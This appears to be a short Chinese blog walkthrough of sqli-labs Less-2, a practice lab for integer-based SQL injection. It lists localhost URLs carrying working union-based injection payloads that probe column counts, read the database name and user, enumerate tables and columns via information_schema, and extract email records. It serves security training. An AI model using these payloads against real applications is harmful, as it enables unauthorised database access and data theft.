sqli-labs less2 GET - Error based - Intiger based (基于错误的GET整型注入)

Posted 2020-10-21 superkrissv

与less1相同，直接走流程

提交参数，直接order by

http://localhost/sqli/Less-2/?id=1 order by 1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,2,3%23

http://localhost/sqli/Less-2/?id=-1 union select 1,database(),user()%23

http://localhost/sqli/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=‘security‘ limit 0,1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,column_name,3 from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,id,email_id from emails limit 0,1%23